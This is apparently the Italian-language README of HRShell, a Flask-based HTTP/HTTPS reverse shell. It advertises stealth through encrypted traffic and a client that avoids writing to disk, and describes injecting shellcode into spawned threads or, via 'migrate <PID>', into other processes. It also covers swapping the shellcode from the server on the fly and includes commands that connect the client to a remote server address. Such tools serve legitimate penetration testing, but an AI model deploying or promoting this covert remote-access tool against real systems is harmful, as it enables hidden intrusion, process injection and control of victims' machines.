HRShell

HRShell è una reverse shell HTTPS/HTTP costruita con Flask ed è compatibile con python 3.x. client.py è stato testato con successo su:

• Linux Ubuntu 18.04 LTS, Kali Linux 2019.3
• macOS Mojave/Catalina
• Windows 7/10

mentre server.py è compatibile con sistemi Unix (supporto per Windows in arrivo...)

Caratteristiche

• È furtivo
• Supporto TLS 🔑
  • Utilizzando certificati on-the-fly oppure
  • Specificando una coppia cert/chiave (maggiori dettagli di seguito...)
• Iniezione di shellcode 💉 (maggiori dettagli di seguito...)
  • Iniezione di shellcode in un thread/processo generato del processo in esecuzione
    • Piattaforme supportate finora:
      • Windows x86
      • Unix x86
      • Unix x64
  • oppure iniezione di shellcode in un altro processo (migrate <PID>) specificandone il PID
    • Piattaforme supportate finora:
      • Windows x86
      • Windows x64
• Lo shellcode può essere impostato/modificato al volo dal server (maggiori dettagli di seguito...)
• Supporto proxy sul client.
• Navigazione nelle directory (comando cd e varianti).
• Comando interattivo history disponibile su sistemi Unix.
• Comandi download/upload/screenshot/hex disponibili.
• Pipelining (|) e comandi concatenati (;) sono supportati
• Supporto per ogni comando non interattivo (come gdb, top, ecc...)
• Il server è sia HTTP che HTTPS.
• Viene fornito con due server integrati 🌐 finora... flask built-in e tornado-WSGI ed è anche compatibile con altri server di produzione come gunicorn e Nginx.
• Sia server.py che client.py sono facilmente estendibili.
• Poiché la maggior parte della funzionalità deriva dal design degli endpoint del server, è molto facile scrivere un client in qualsiasi altro linguaggio ad es. Java, GO ecc...

_{*Per le modifiche alle versioni consulta CHANGELOG.}

Dettagli

---

Furtivo :shipit:

HRShell è furtivo poiché utilizza il protocollo HTTP(S) come metodo di comunicazione tra client e server. Inoltre, quando TLS è in uso, il traffico è crittografato. Inoltre, se il CERT non è codificato manualmente sul lato client (opzione fattibile) e il comando upload non viene utilizzato, client.py non tocca affatto il disco.

TLS 🔑

Lato server: A meno che non venga specificata l'opzione --http, di default server.py è HTTPS utilizzando certificati on-the-fly, poiché i certificati on-the-fly sono una funzionalità integrata di Flask. Ma se viene specificata l'opzione -s tornado per fare in modo che il server utilizzi TLS, devono essere specificate le opzioni --cert e --key in questo modo:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Si possono utilizzare certificati "reali" oppure un altro modo per generare una coppia cert/chiave è, ad esempio, usando mkcert o openssl direttamente in questo modo:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Una coppia cert/chiave può essere utilizzata anche con il server Flask:

python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ Se il server utilizza TLS, per progettazione il client non può usare http://... per connettersi al server, ma deve usare esplicitamente https.

Lato client: Di default la verifica SSL del client è disabilitata, a meno che:

• venga specificato il parametro --cert ad esempio:

  python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
  

• oppure la variabile CERT, invece del valore predefinito None, venga impostata preventivamente con un certificato valido, ad esempio:

  CERT = """
  -----BEGIN CERTIFICATE-----
  MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
  BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
  VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
  ...
  -----END CERTIFICATE-----
  """
  

  In questo caso client.py tenterà di creare al volo un file nascosto .cert.pem e lo utilizzerà al suo posto.

⚠️ Il fatto che la verifica SSL sia disabilitata di default sul client non significa in alcun caso che anche TLS sia disabilitato, TLS sarà abilitato se il server lo utilizza - quindi TLS dipende completamente dal server. L'opzione --cert sul client è presente solo come modo alternativo per avere una sessione crittografata tra server e client, tutto qui.

Iniezione di shellcode 💉

Esistono due "modalità" di iniezione di shellcode utilizzando rispettivamente i due comandi seguenti:

1. migrate <PID>: Utilizzando questo comando possiamo iniettare shellcode nello spazio di memoria di un altro processo specificandone il PID. Per ora questo comando può essere applicato solo su piattaforme Windows x86/x64!

2. inject shellcode: Utilizzando questo comando viene creato un nuovo thread (o processo generato su sistemi Unix) del nostro processo corrente e l'iniezione di shellcode avviene nel suo spazio di memoria. Di conseguenza la nostra shell HTTP(S) non viene influenzata dall'iniezione. Le piattaforme su cui questo comando può essere applicato sono: Unix x86/x64, Windows x86!

Note

• Nel caso l'iniezione avvenga su un processo, le autorizzazioni del processo giocano un ruolo molto importante. Non è sempre possibile iniettare su qualsiasi processo a causa della mancanza di privilegi appropriati.

Impostare/Modificare lo shellcode

Ci sono due modi per specificare/impostare che tipo di shellcode vuoi che il client esegua:

• Impostare preventivamente la variabile shellcode nello script client.py in modo che sia uno shellcode valido, oppure
• Utilizzare il comando set shellcode <shellcode-id> per farlo al volo. Con questo comando puoi aggiornare il tuo shellcode lato client dal lato server tutte le volte che vuoi!